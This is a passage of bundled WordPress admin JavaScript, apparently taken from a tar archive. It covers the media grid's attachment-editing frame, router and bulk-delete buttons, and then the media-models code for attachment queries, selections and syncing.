this.listenTo( this.model, 'change:status destroy', this.close, this ); }, createModal: function() { // Initialize modal container view. if ( this.options.modal ) { this.modal = new wp.media.view.Modal({ controller: this, title: this.options.title, hasCloseButton: false }); this.modal.on( 'open', _.bind( function () { $( 'body' ).on( 'keydown.media-modal', _.bind( this.keyEvent, this ) ); }, this ) ); // Completely destroy the modal DOM element when closing it. this.modal.on( 'close', _.bind( function() { // Remove the keydown event. $( 'body' ).off( 'keydown.media-modal' ); // Move focus back to the original item in the grid if possible. $( 'li.attachment[data-id="' + this.model.get( 'id' ) +'"]' ).trigger( 'focus' ); this.resetRoute(); }, this ) ); // Set this frame as the modal's content. this.modal.content( this ); this.modal.open(); } }, /** * Add the default states to the frame. */ createStates: function() { this.states.add([ new wp.media.controller.EditAttachmentMetadata({ model: this.model, library: this.library }) ]); }, /** * Content region rendering callback for the `edit-metadata` mode. * * @param {Object} contentRegion Basic object with a `view` property, which * should be set with the proper region view. */ editMetadataMode: function( contentRegion ) { contentRegion.view = new wp.media.view.Attachment.Details.TwoColumn({ controller: this, model: this.model }); /** * Attach a subview to display fields added via the * `attachment_fields_to_edit` filter. */ contentRegion.view.views.set( '.attachment-compat', new wp.media.view.AttachmentCompat({ controller: this, model: this.model }) ); // Update browser url when navigating media details, except on load. if ( this.model && ! this.model.get( 'skipHistory' ) ) { this.gridRouter.navigate( this.gridRouter.baseUrl( '?item=' + this.model.id ) ); } }, /** * Render the EditImage view into the frame's content region. * * @param {Object} contentRegion Basic object with a `view` property, which * should be set with the proper region view. */ editImageMode: function( contentRegion ) { var editImageController = new wp.media.controller.EditImage( { model: this.model, frame: this } ); // Noop some methods. editImageController._toolbar = function() {}; editImageController._router = function() {}; editImageController._menu = function() {}; contentRegion.view = new wp.media.view.EditImage.Details( { model: this.model, frame: this, controller: editImageController } ); this.gridRouter.navigate( this.gridRouter.baseUrl( '?item=' + this.model.id + '&mode=edit' ) ); }, editImageModeRender: function( view ) { view.on( 'ready', view.loadEditor ); }, toggleNav: function() { this.$( '.left' ).prop( 'disabled', ! this.hasPrevious() ); this.$( '.right' ).prop( 'disabled', ! this.hasNext() ); }, /** * Rerender the view. */ rerender: function( model ) { this.stopListening( this.model ); this.model = model; this.bindModelHandlers(); // Only rerender the `content` region. if ( this.content.mode() !== 'edit-metadata' ) { this.content.mode( 'edit-metadata' ); } else { this.content.render(); } this.toggleNav(); }, /** * Click handler to switch to the previous media item. */ previousMediaItem: function() { if ( ! this.hasPrevious() ) { return; } this.trigger( 'refresh', this.library.at( this.getCurrentIndex() - 1 ) ); // Move focus to the Previous button. When there are no more items, to the Next button. this.focusNavButton( this.hasPrevious() ? '.left' : '.right' ); }, /** * Click handler to switch to the next media item. */ nextMediaItem: function() { if ( ! this.hasNext() ) { return; } this.trigger( 'refresh', this.library.at( this.getCurrentIndex() + 1 ) ); // Move focus to the Next button. When there are no more items, to the Previous button. this.focusNavButton( this.hasNext() ? '.right' : '.left' ); }, /** * Set focus to the navigation buttons depending on the browsing direction. * * @since 5.3.0 * * @param {string} which A CSS selector to target the button to focus. */ focusNavButton: function( which ) { $( which ).trigger( 'focus' ); }, getCurrentIndex: function() { return this.library.indexOf( this.model ); }, hasNext: function() { return ( this.getCurrentIndex() + 1 ) < this.library.length; }, hasPrevious: function() { return ( this.getCurrentIndex() - 1 ) > -1; }, /** * Respond to the keyboard events: right arrow, left arrow, except when * focus is in a textarea or input field. */ keyEvent: function( event ) { if ( ( 'INPUT' === event.target.nodeName || 'TEXTAREA' === event.target.nodeName ) && ! event.target.disabled ) { return; } // The right arrow key. if ( 39 === event.keyCode ) { this.nextMediaItem(); } // The left arrow key. if ( 37 === event.keyCode ) { this.previousMediaItem(); } }, resetRoute: function() { var searchTerm = this.controller.browserView.toolbar.get( 'search' ).$el.val(), url = '' !== searchTerm ? '?search=' + searchTerm : ''; this.gridRouter.navigate( this.gridRouter.baseUrl( url ), { replace: true } ); } }); module.exports = EditAttachments; /***/ }), /***/ 1312: /***/ ((module) => { var Details = wp.media.view.Attachment.Details, TwoColumn; /** * wp.media.view.Attachment.Details.TwoColumn * * A similar view to media.view.Attachment.Details * for use in the Edit Attachment modal. * * @memberOf wp.media.view.Attachment.Details * * @class * @augments wp.media.view.Attachment.Details * @augments wp.media.view.Attachment * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ TwoColumn = Details.extend(/** @lends wp.media.view.Attachment.Details.TwoColumn.prototype */{ template: wp.template( 'attachment-details-two-column' ), initialize: function() { this.controller.on( 'content:activate:edit-details', _.bind( this.editAttachment, this ) ); Details.prototype.initialize.apply( this, arguments ); }, editAttachment: function( event ) { if ( event ) { event.preventDefault(); } this.controller.content.mode( 'edit-image' ); }, /** * Noop this from parent class, doesn't apply here. */ toggleSelectionHandler: function() {} }); module.exports = TwoColumn; /***/ }), /***/ 2429: /***/ ((module) => { /** * wp.media.view.MediaFrame.Manage.Router * * A router for handling the browser history and application state. * * @memberOf wp.media.view.MediaFrame.Manage * * @class * @augments Backbone.Router */ var Router = Backbone.Router.extend(/** @lends wp.media.view.MediaFrame.Manage.Router.prototype */{ routes: { 'upload.php?item=:slug&mode=edit': 'editItem', 'upload.php?item=:slug': 'showItem', 'upload.php?search=:query': 'search', 'upload.php': 'reset' }, // Map routes against the page URL. baseUrl: function( url ) { return 'upload.php' + url; }, reset: function() { var frame = wp.media.frames.edit; if ( frame ) { frame.close(); } }, // Respond to the search route by filling the search field and triggering the input event. search: function( query ) { jQuery( '#media-search-input' ).val( query ).trigger( 'input' ); }, // Show the modal with a specific item. showItem: function( query ) { var media = wp.media, frame = media.frames.browse, library = frame.state().get('library'), item; // Trigger the media frame to open the correct item. item = library.findWhere( { id: parseInt( query, 10 ) } ); if ( item ) { item.set( 'skipHistory', true ); frame.trigger( 'edit:attachment', item ); } else { item = media.attachment( query ); frame.listenTo( item, 'change', function( model ) { frame.stopListening( item ); frame.trigger( 'edit:attachment', model ); } ); item.fetch(); } }, // Show the modal in edit mode with a specific item. editItem: function( query ) { this.showItem( query ); wp.media.frames.edit.content.mode( 'edit-details' ); } }); module.exports = Router; /***/ }), /***/ 5806: /***/ ((module) => { var Button = wp.media.view.Button, DeleteSelected = wp.media.view.DeleteSelectedButton, DeleteSelectedPermanently; /** * wp.media.view.DeleteSelectedPermanentlyButton * * When MEDIA_TRASH is true, a button that handles bulk Delete Permanently logic * * @memberOf wp.media.view * * @class * @augments wp.media.view.DeleteSelectedButton * @augments wp.media.view.Button * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ DeleteSelectedPermanently = DeleteSelected.extend(/** @lends wp.media.view.DeleteSelectedPermanentlyButton.prototype */{ initialize: function() { DeleteSelected.prototype.initialize.apply( this, arguments ); this.controller.on( 'select:activate', this.selectActivate, this ); this.controller.on( 'select:deactivate', this.selectDeactivate, this ); }, filterChange: function( model ) { this.canShow = ( 'trash' === model.get( 'status' ) ); }, selectActivate: function() { this.toggleDisabled(); this.$el.toggleClass( 'hidden', ! this.canShow ); }, selectDeactivate: function() { this.toggleDisabled(); this.$el.addClass( 'hidden' ); }, render: function() { Button.prototype.render.apply( this, arguments ); this.selectActivate(); return this; } }); module.exports = DeleteSelectedPermanently; /***/ }), /***/ 6606: /***/ ((module) => { var Button = wp.media.view.Button, l10n = wp.media.view.l10n, DeleteSelected; /** * wp.media.view.DeleteSelectedButton * * A button that handles bulk Delete/Trash logic * * @memberOf wp.media.view * * @class * @augments wp.media.view.Button * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ DeleteSelected = Button.extend(/** @lends wp.media.view.DeleteSelectedButton.prototype */{ initialize: function() { Button.prototype.initialize.apply( this, arguments ); if ( this.options.filters ) { this.options.filters.model.on( 'change', this.filterChange, this ); } this.controller.on( 'selection:toggle', this.toggleDisabled, this ); this.controller.on( 'select:activate', this.toggleDisabled, this ); }, filterChange: function( model ) { if ( 'trash' === model.get( 'status' ) ) { this.model.set( 'text', l10n.restoreSelected ); } else if ( wp.media.view.settings.mediaTrash ) { this.model.set( 'text', l10n.trashSelected ); } else { this.model.set( 'text', l10n.deletePermanently ); } }, toggleDisabled: function() { this.model.set( 'disabled', ! this.controller.state().get( 'selection' ).length ); }, render: function() { Button.prototype.render.apply( this, arguments ); if ( this.controller.isModeActive( 'select' ) ) { this.$el.addClass( 'delete-selected-button' ); } else { this.$el.addClass( 'delete-selected-button hidden' ); } this.toggleDisabled(); return this; } }); module.exports = DeleteSelected; /***/ }), /***/ 8359: /***/ ((module) => { var MediaFrame = wp.media.view.MediaFrame, Library = wp.media.controller.Library, $ = Backbone.$, Manage; /** * wp.media.view.MediaFrame.Manage * * A generic management frame workflow. * * Used in the media grid view. * * @memberOf wp.media.view.MediaFrame * * @class * @augments wp.media.view.MediaFrame * @augments wp.media.view.Frame * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ Manage = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.Manage.prototype */{ /** * @constructs */ initialize: function() { _.defaults( this.options, { title: '', modal: false, selection: [], library: {}, // Options hash for the query to the media library. multiple: 'add', state: 'library', uploader: true, mode: [ 'grid', 'edit' ] }); this.$body = $( document.body ); this.$window = $( window ); this.$adminBar = $( '#wpadminbar' ); // Store the Add New button for later reuse in wp.media.view.UploaderInline. this.$uploaderToggler = $( '.page-title-action' ) .attr( 'aria-expanded', 'false' ) .on( 'click', _.bind( this.addNewClickHandler, this ) ); this.$window.on( 'scroll resize', _.debounce( _.bind( this.fixPosition, this ), 15 ) ); // Ensure core and media grid view UI is enabled. this.$el.addClass('wp-core-ui'); // Force the uploader off if the upload limit has been exceeded or // if the browser isn't supported. if ( wp.Uploader.limitExceeded || ! wp.Uploader.browser.supported ) { this.options.uploader = false; } // Initialize a window-wide uploader. if ( this.options.uploader ) { this.uploader = new wp.media.view.UploaderWindow({ controller: this, uploader: { dropzone: document.body, container: document.body } }).render(); this.uploader.ready(); $('body').append( this.uploader.el ); this.options.uploader = false; } this.gridRouter = new wp.media.view.MediaFrame.Manage.Router(); // Call 'initialize' directly on the parent class. MediaFrame.prototype.initialize.apply( this, arguments ); // Append the frame view directly the supplied container. this.$el.appendTo( this.options.container ); this.createStates(); this.bindRegionModeHandlers(); this.render(); this.bindSearchHandler(); wp.media.frames.browse = this; }, bindSearchHandler: function() { var search = this.$( '#media-search-input' ), searchView = this.browserView.toolbar.get( 'search' ).$el, listMode = this.$( '.view-list' ), input = _.throttle( function (e) { var val = $( e.currentTarget ).val(), url = ''; if ( val ) { url += '?search=' + val; this.gridRouter.navigate( this.gridRouter.baseUrl( url ), { replace: true } ); } }, 1000 ); // Update the URL when entering search string (at most once per second). search.on( 'input', _.bind( input, this ) ); this.gridRouter .on( 'route:search', function () { var href = window.location.href; if ( href.indexOf( 'mode=' ) > -1 ) { href = href.replace( /mode=[^&]+/g, 'mode=list' ); } else { href += href.indexOf( '?' ) > -1 ? '&mode=list' : '?mode=list'; } href = href.replace( 'search=', 's=' ); listMode.prop( 'href', href ); }) .on( 'route:reset', function() { searchView.val( '' ).trigger( 'input' ); }); }, /** * Create the default states for the frame. */ createStates: function() { var options = this.options; if ( this.options.states ) { return; } // Add the default states. this.states.add([ new Library({ library: wp.media.query( options.library ), multiple: options.multiple, title: options.title, content: 'browse', toolbar: 'select', contentUserSetting: false, filterable: 'all', autoSelect: false }) ]); }, /** * Bind region mode activation events to proper handlers. */ bindRegionModeHandlers: function() { this.on( 'content:create:browse', this.browseContent, this ); // Handle a frame-level event for editing an attachment. this.on( 'edit:attachment', this.openEditAttachmentModal, this ); this.on( 'select:activate', this.bindKeydown, this ); this.on( 'select:deactivate', this.unbindKeydown, this ); }, handleKeydown: function( e ) { if ( 27 === e.which ) { e.preventDefault(); this.deactivateMode( 'select' ).activateMode( 'edit' ); } }, bindKeydown: function() { this.$body.on( 'keydown.select', _.bind( this.handleKeydown, this ) ); }, unbindKeydown: function() { this.$body.off( 'keydown.select' ); }, fixPosition: function() { var $browser, $toolbar; if ( ! this.isModeActive( 'select' ) ) { return; } $browser = this.$('.attachments-browser'); $toolbar = $browser.find('.media-toolbar'); // Offset doesn't appear to take top margin into account, hence +16. if ( ( $browser.offset().top + 16 ) < this.$window.scrollTop() + this.$adminBar.height() ) { $browser.addClass( 'fixed' ); $toolbar.css('width', $browser.width() + 'px'); } else { $browser.removeClass( 'fixed' ); $toolbar.css('width', ''); } }, /** * Click handler for the `Add New` button. */ addNewClickHandler: function( event ) { event.preventDefault(); this.trigger( 'toggle:upload:attachment' ); if ( this.uploader ) { this.uploader.refresh(); } }, /** * Open the Edit Attachment modal. */ openEditAttachmentModal: function( model ) { // Create a new EditAttachment frame, passing along the library and the attachment model. if ( wp.media.frames.edit ) { wp.media.frames.edit.open().trigger( 'refresh', model ); } else { wp.media.frames.edit = wp.media( { frame: 'edit-attachments', controller: this, library: this.state().get('library'), model: model } ); } }, /** * Create an attachments browser view within the content region. * * @param {Object} contentRegion Basic object with a `view` property, which * should be set with the proper region view. * @this wp.media.controller.Region */ browseContent: function( contentRegion ) { var state = this.state(); // Browse our library of attachments. this.browserView = contentRegion.view = new wp.media.view.AttachmentsBrowser({ controller: this, collection: state.get('library'), selection: state.get('selection'), model: state, sortable: state.get('sortable'), search: state.get('searchable'), filters: state.get('filterable'), date: state.get('date'), display: state.get('displaySettings'), dragInfo: state.get('dragInfo'), sidebar: 'errors', suggestedWidth: state.get('suggestedWidth'), suggestedHeight: state.get('suggestedHeight'), AttachmentView: state.get('AttachmentView'), scrollElement: document }); this.browserView.on( 'ready', _.bind( this.bindDeferred, this ) ); this.errors = wp.Uploader.errors; this.errors.on( 'add remove reset', this.sidebarVisibility, this ); }, sidebarVisibility: function() { this.browserView.$( '.media-sidebar' ).toggle( !! this.errors.length ); }, bindDeferred: function() { if ( ! this.browserView.dfd ) { return; } this.browserView.dfd.done( _.bind( this.startHistory, this ) ); }, startHistory: function() { // Verify pushState support and activate. if ( window.history && window.history.pushState ) { if ( Backbone.History.started ) { Backbone.history.stop(); } Backbone.history.start( { root: window._wpMediaGridSettings.adminUrl, pushState: true } ); } } }); module.exports = Manage; /***/ }), /***/ 8521: /***/ ((module) => { var View = wp.media.View, EditImage = wp.media.view.EditImage, Details; /** * wp.media.view.EditImage.Details * * @memberOf wp.media.view.EditImage * * @class * @augments wp.media.view.EditImage * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Details = EditImage.extend(/** @lends wp.media.view.EditImage.Details.prototype */{ initialize: function( options ) { this.editor = window.imageEdit; this.frame = options.frame; this.controller = options.controller; View.prototype.initialize.apply( this, arguments ); }, back: function() { this.frame.content.mode( 'edit-metadata' ); }, save: function() { this.model.fetch().done( _.bind( function() { this.frame.content.mode( 'edit-metadata' ); }, this ) ); } }); module.exports = Details; /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /** * @output wp-includes/js/media-grid.js */ var media = wp.media; media.controller.EditAttachmentMetadata = __webpack_require__( 659 ); media.view.MediaFrame.Manage = __webpack_require__( 8359 ); media.view.Attachment.Details.TwoColumn = __webpack_require__( 1312 ); media.view.MediaFrame.Manage.Router = __webpack_require__( 2429 ); media.view.EditImage.Details = __webpack_require__( 8521 ); media.view.MediaFrame.EditAttachments = __webpack_require__( 1003 ); media.view.SelectModeToggleButton = __webpack_require__( 682 ); media.view.DeleteSelectedButton = __webpack_require__( 6606 ); media.view.DeleteSelectedPermanentlyButton = __webpack_require__( 5806 ); /******/ })() ; media-models.js 0000644 00000125124 15111757753 0007463 0 ustar 00 /******/ (() => { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ 1288: /***/ ((module) => { var Attachments = wp.media.model.Attachments, Query; /** * wp.media.model.Query * * A collection of attachments that match the supplied query arguments. * * Note: Do NOT change this.args after the query has been initialized. * Things will break. * * @memberOf wp.media.model * * @class * @augments wp.media.model.Attachments * @augments Backbone.Collection * * @param {array} [models] Models to initialize with the collection. * @param {object} [options] Options hash. * @param {object} [options.args] Attachments query arguments. * @param {object} [options.args.posts_per_page] */ Query = Attachments.extend(/** @lends wp.media.model.Query.prototype */{ /** * @param {Array} [models=[]] Array of initial models to populate the collection. * @param {Object} [options={}] */ initialize: function( models, options ) { var allowed; options = options || {}; Attachments.prototype.initialize.apply( this, arguments ); this.args = options.args; this._hasMore = true; this.created = new Date(); this.filters.order = function( attachment ) { var orderby = this.props.get('orderby'), order = this.props.get('order'); if ( ! this.comparator ) { return true; } /* * We want any items that can be placed before the last * item in the set. If we add any items after the last * item, then we can't guarantee the set is complete. */ if ( this.length ) { return 1 !== this.comparator( attachment, this.last(), { ties: true }); /* * Handle the case where there are no items yet and * we're sorting for recent items. In that case, we want * changes that occurred after we created the query. */ } else if ( 'DESC' === order && ( 'date' === orderby || 'modified' === orderby ) ) { return attachment.get( orderby ) >= this.created; // If we're sorting by menu order and we have no items, // accept any items that have the default menu order (0). } else if ( 'ASC' === order && 'menuOrder' === orderby ) { return attachment.get( orderby ) === 0; } // Otherwise, we don't want any items yet. return false; }; /* * Observe the central `wp.Uploader.queue` collection to watch for * new matches for the query. * * Only observe when a limited number of query args are set. There * are no filters for other properties, so observing will result in * false positives in those queries. */ allowed = [ 's', 'order', 'orderby', 'posts_per_page', 'post_mime_type', 'post_parent', 'author' ]; if ( wp.Uploader && _( this.args ).chain().keys().difference( allowed ).isEmpty().value() ) { this.observe( wp.Uploader.queue ); } }, /** * Whether there are more attachments that haven't been sync'd from the server * that match the collection's query. * * @return {boolean} */ hasMore: function() { return this._hasMore; }, /** * Fetch more attachments from the server for the collection. * * @param {Object} [options={}] * @return {Promise} */ more: function( options ) { var query = this; // If there is already a request pending, return early with the Deferred object. if ( this._more && 'pending' === this._more.state() ) { return this._more; } if ( ! this.hasMore() ) { return jQuery.Deferred().resolveWith( this ).promise(); } options = options || {}; options.remove = false; return this._more = this.fetch( options ).done( function( response ) { if ( _.isEmpty( response ) || -1 === query.args.posts_per_page || response.length < query.args.posts_per_page ) { query._hasMore = false; } }); }, /** * Overrides Backbone.Collection.sync * Overrides wp.media.model.Attachments.sync * * @param {string} method * @param {Backbone.Model} model * @param {Object} [options={}] * @return {Promise} */ sync: function( method, model, options ) { var args, fallback; // Overload the read method so Attachment.fetch() functions correctly. if ( 'read' === method ) { options = options || {}; options.context = this; options.data = _.extend( options.data || {}, { action: 'query-attachments', post_id: wp.media.model.settings.post.id }); // Clone the args so manipulation is non-destructive. args = _.clone( this.args ); // Determine which page to query. if ( -1 !== args.posts_per_page ) { args.paged = Math.round( this.length / args.posts_per_page ) + 1; } options.data.query = args; return wp.media.ajax( options ); // Otherwise, fall back to `Backbone.sync()`. } else { /** * Call wp.media.model.Attachments.sync or Backbone.sync */ fallback = Attachments.prototype.sync ? Attachments.prototype : Backbone; return fallback.sync.apply( this, arguments ); } } }, /** @lends wp.media.model.Query */{ /** * @readonly */ defaultProps: { orderby: 'date', order: 'DESC' }, /** * @readonly */ defaultArgs: { posts_per_page: 80 }, /** * @readonly */ orderby: { allowed: [ 'name', 'author', 'date', 'title', 'modified', 'uploadedTo', 'id', 'post__in', 'menuOrder' ], /** * A map of JavaScript orderby values to their WP_Query equivalents. * @type {Object} */ valuemap: { 'id': 'ID', 'uploadedTo': 'parent', 'menuOrder': 'menu_order ID' } }, /** * A map of JavaScript query properties to their WP_Query equivalents. * * @readonly */ propmap: { 'search': 's', 'type': 'post_mime_type', 'perPage': 'posts_per_page', 'menuOrder': 'menu_order', 'uploadedTo': 'post_parent', 'status': 'post_status', 'include': 'post__in', 'exclude': 'post__not_in', 'author': 'author' }, /** * Creates and returns an Attachments Query collection given the properties. * * Caches query objects and reuses where possible. * * @static * @method * * @param {object} [props] * @param {Object} [props.order] * @param {Object} [props.orderby] * @param {Object} [props.include] * @param {Object} [props.exclude] * @param {Object} [props.s] * @param {Object} [props.post_mime_type] * @param {Object} [props.posts_per_page] * @param {Object} [props.menu_order] * @param {Object} [props.post_parent] * @param {Object} [props.post_status] * @param {Object} [props.author] * @param {Object} [options] * * @return {wp.media.model.Query} A new Attachments Query collection. */ get: (function(){ /** * @static * @type Array */ var queries = []; /** * @return {Query} */ return function( props, options ) { var args = {}, orderby = Query.orderby, defaults = Query.defaultProps, query; // Remove the `query` property. This isn't linked to a query, // this *is* the query. delete props.query; // Fill default args. _.defaults( props, defaults ); // Normalize the order. props.order = props.order.toUpperCase(); if ( 'DESC' !== props.order && 'ASC' !== props.order ) { props.order = defaults.order.toUpperCase(); } // Ensure we have a valid orderby value. if ( ! _.contains( orderby.allowed, props.orderby ) ) { props.orderby = defaults.orderby; } _.each( [ 'include', 'exclude' ], function( prop ) { if ( props[ prop ] && ! _.isArray( props[ prop ] ) ) { props[ prop ] = [ props[ prop ] ]; } } ); // Generate the query `args` object. // Correct any differing property names. _.each( props, function( value, prop ) { if ( _.isNull( value ) ) { return; } args[ Query.propmap[ prop ] || prop ] = value; }); // Fill any other default query args. _.defaults( args, Query.defaultArgs ); // `props.orderby` does not always map directly to `args.orderby`. // Substitute exceptions specified in orderby.keymap. args.orderby = orderby.valuemap[ props.orderby ] || props.orderby; queries = []; // Otherwise, create a new query and add it to the cache. if ( ! query ) { query = new Query( [], _.extend( options || {}, { props: props, args: args } ) ); queries.push( query ); } return query; }; }()) }); module.exports = Query; /***/ }), /***/ 3343: /***/ ((module) => { var $ = Backbone.$, Attachment; /** * wp.media.model.Attachment * * @memberOf wp.media.model * * @class * @augments Backbone.Model */ Attachment = Backbone.Model.extend(/** @lends wp.media.model.Attachment.prototype */{ /** * Triggered when attachment details change * Overrides Backbone.Model.sync * * @param {string} method * @param {wp.media.model.Attachment} model * @param {Object} [options={}] * * @return {Promise} */ sync: function( method, model, options ) { // If the attachment does not yet have an `id`, return an instantly // rejected promise. Otherwise, all of our requests will fail. if ( _.isUndefined( this.id ) ) { return $.Deferred().rejectWith( this ).promise(); } // Overload the `read` request so Attachment.fetch() functions correctly. if ( 'read' === method ) { options = options || {}; options.context = this; options.data = _.extend( options.data || {}, { action: 'get-attachment', id: this.id }); return wp.media.ajax( options ); // Overload the `update` request so properties can be saved. } else if ( 'update' === method ) { // If we do not have the necessary nonce, fail immediately. if ( ! this.get('nonces') || ! this.get('nonces').update ) { return $.Deferred().rejectWith( this ).promise(); } options = options || {}; options.context = this; // Set the action and ID. options.data = _.extend( options.data || {}, { action: 'save-attachment', id: this.id, nonce: this.get('nonces').update, post_id: wp.media.model.settings.post.id }); // Record the values of the changed attributes. if ( model.hasChanged() ) { options.data.changes = {}; _.each( model.changed, function( value, key ) { options.data.changes[ key ] = this.get( key ); }, this ); } return wp.media.ajax( options ); // Overload the `delete` request so attachments can be removed. // This will permanently delete an attachment. } else if ( 'delete' === method ) { options = options || {}; if ( ! options.wait ) { this.destroyed = true; } options.context = this; options.data = _.extend( options.data || {}, { action: 'delete-post', id: this.id, _wpnonce: this.get('nonces')['delete'] }); return wp.media.ajax( options ).done( function() { this.destroyed = true; }).fail( function() { this.destroyed = false; }); // Otherwise, fall back to `Backbone.sync()`. } else { /** * Call `sync` directly on Backbone.Model */ return Backbone.Model.prototype.sync.apply( this, arguments ); } }, /** * Convert date strings into Date objects. * * @param {Object} resp The raw response object, typically returned by fetch() * @return {Object} The modified response object, which is the attributes hash * to be set on the model. */ parse: function( resp ) { if ( ! resp ) { return resp; } resp.date = new Date( resp.date ); resp.modified = new Date( resp.modified ); return resp; }, /** * @param {Object} data The properties to be saved. * @param {Object} options Sync options. e.g. patch, wait, success, error. * * @this Backbone.Model * * @return {Promise} */ saveCompat: function( data, options ) { var model = this; // If we do not have the necessary nonce, fail immediately. if ( ! this.get('nonces') || ! this.get('nonces').update ) { return $.Deferred().rejectWith( this ).promise(); } return wp.media.post( 'save-attachment-compat', _.defaults({ id: this.id, nonce: this.get('nonces').update, post_id: wp.media.model.settings.post.id }, data ) ).done( function( resp, status, xhr ) { model.set( model.parse( resp, xhr ), options ); }); } },/** @lends wp.media.model.Attachment */{ /** * Create a new model on the static 'all' attachments collection and return it. * * @static * * @param {Object} attrs * @return {wp.media.model.Attachment} */ create: function( attrs ) { var Attachments = wp.media.model.Attachments; return Attachments.all.push( attrs ); }, /** * Create a new model on the static 'all' attachments collection and return it. * * If this function has already been called for the id, * it returns the specified attachment. * * @static * @param {string} id A string used to identify a model. * @param {Backbone.Model|undefined} attachment * @return {wp.media.model.Attachment} */ get: _.memoize( function( id, attachment ) { var Attachments = wp.media.model.Attachments; return Attachments.all.push( attachment || { id: id } ); }) }); module.exports = Attachment; /***/ }), /***/ 4134: /***/ ((module) => { var Attachments = wp.media.model.Attachments, Selection; /** * wp.media.model.Selection * * A selection of attachments. * * @memberOf wp.media.model * * @class * @augments wp.media.model.Attachments * @augments Backbone.Collection */ Selection = Attachments.extend(/** @lends wp.media.model.Selection.prototype */{ /** * Refresh the `single` model whenever the selection changes. * Binds `single` instead of using the context argument to ensure * it receives no parameters. * * @param {Array} [models=[]] Array of models used to populate the collection. * @param {Object} [options={}] */ initialize: function( models, options ) { /** * call 'initialize' directly on the parent class */ Attachments.prototype.initialize.apply( this, arguments ); this.multiple = options && options.multiple; this.on( 'add remove reset', _.bind( this.single, this, false ) ); }, /** * If the workflow does not support multi-select, clear out the selection * before adding a new attachment to it. * * @param {Array} models * @param {Object} options * @return {wp.media.model.Attachment[]} */ add: function( models, options ) { if ( ! this.multiple ) { this.remove( this.models ); } /** * call 'add' directly on the parent class */ return Attachments.prototype.add.call( this, models, options ); }, /** * Fired when toggling (clicking on) an attachment in the modal. * * @param {undefined|boolean|wp.media.model.Attachment} model * * @fires wp.media.model.Selection#selection:single * @fires wp.media.model.Selection#selection:unsingle * * @return {Backbone.Model} */ single: function( model ) { var previous = this._single; // If a `model` is provided, use it as the single model. if ( model ) { this._single = model; } // If the single model isn't in the selection, remove it. if ( this._single && ! this.get( this._single.cid ) ) { delete this._single; } this._single = this._single || this.last(); // If single has changed, fire an event. if ( this._single !== previous ) { if ( previous ) { previous.trigger( 'selection:unsingle', previous, this ); // If the model was already removed, trigger the collection // event manually. if ( ! this.get( previous.cid ) ) { this.trigger( 'selection:unsingle', previous, this ); } } if ( this._single ) { this._single.trigger( 'selection:single', this._single, this ); } } // Return the single model, or the last model as a fallback. return this._single; } }); module.exports = Selection; /***/ }), /***/ 8266: /***/ ((module) => { /** * wp.media.model.Attachments * * A collection of attachments. * * This collection has no persistence with the server without supplying * 'options.props.query = true', which will mirror the collection * to an Attachments Query collection - @see wp.media.model.Attachments.mirror(). * * @memberOf wp.media.model * * @class * @augments Backbone.Collection * * @param {array} [models] Models to initialize with the collection. * @param {object} [options] Options hash for the collection. * @param {string} [options.props] Options hash for the initial query properties. * @param {string} [options.props.order] Initial order (ASC or DESC) for the collection. * @param {string} [options.props.orderby] Initial attribute key to order the collection by. * @param {string} [options.props.query] Whether the collection is linked to an attachments query. * @param {string} [options.observe] * @param {string} [options.filters] * */ var Attachments = Backbone.Collection.extend(/** @lends wp.media.model.Attachments.prototype */{ /** * @type {wp.media.model.Attachment} */ model: wp.media.model.Attachment, /** * @param {Array} [models=[]] Array of models used to populate the collection. * @param {Object} [options={}] */ initialize: function( models, options ) { options = options || {}; this.props = new Backbone.Model(); this.filters = options.filters || {}; // Bind default `change` events to the `props` model. this.props.on( 'change', this._changeFilteredProps, this ); this.props.on( 'change:order', this._changeOrder, this ); this.props.on( 'change:orderby', this._changeOrderby, this ); this.props.on( 'change:query', this._changeQuery, this ); this.props.set( _.defaults( options.props || {} ) ); if ( options.observe ) { this.observe( options.observe ); } }, /** * Sort the collection when the order attribute changes. * * @access private */ _changeOrder: function() { if ( this.comparator ) { this.sort(); } }, /** * Set the default comparator only when the `orderby` property is set. * * @access private * * @param {Backbone.Model} model * @param {string} orderby */ _changeOrderby: function( model, orderby ) { // If a different comparator is defined, bail. if ( this.comparator && this.comparator !== Attachments.comparator ) { return; } if ( orderby && 'post__in' !== orderby ) { this.comparator = Attachments.comparator; } else { delete this.comparator; } }, /** * If the `query` property is set to true, query the server using * the `props` values, and sync the results to this collection. * * @access private * * @param {Backbone.Model} model * @param {boolean} query */ _changeQuery: function( model, query ) { if ( query ) { this.props.on( 'change', this._requery, this ); this._requery(); } else { this.props.off( 'change', this._requery, this ); } }, /** * @access private * * @param {Backbone.Model} model */ _changeFilteredProps: function( model ) { // If this is a query, updating the collection will be handled by // `this._requery()`. if ( this.props.get('query') ) { return; } var changed = _.chain( model.changed ).map( function( t, prop ) { var filter = Attachments.filters[ prop ], term = model.get( prop ); if ( ! filter ) { return; } if ( term && ! this.filters[ prop ] ) { this.filters[ prop ] = filter; } else if ( ! term && this.filters[ prop ] === filter ) { delete this.filters[ prop ]; } else { return; } // Record the change. return true; }, this ).any().value(); if ( ! changed ) { return; } // If no `Attachments` model is provided to source the searches from, // then automatically generate a source from the existing models. if ( ! this._source ) { this._source = new Attachments( this.models ); } this.reset( this._source.filter( this.validator, this ) ); }, validateDestroyed: false, /** * Checks whether an attachment is valid. * * @param {wp.media.model.Attachment} attachment * @return {boolean} */ validator: function( attachment ) { if ( ! this.validateDestroyed && attachment.destroyed ) { return 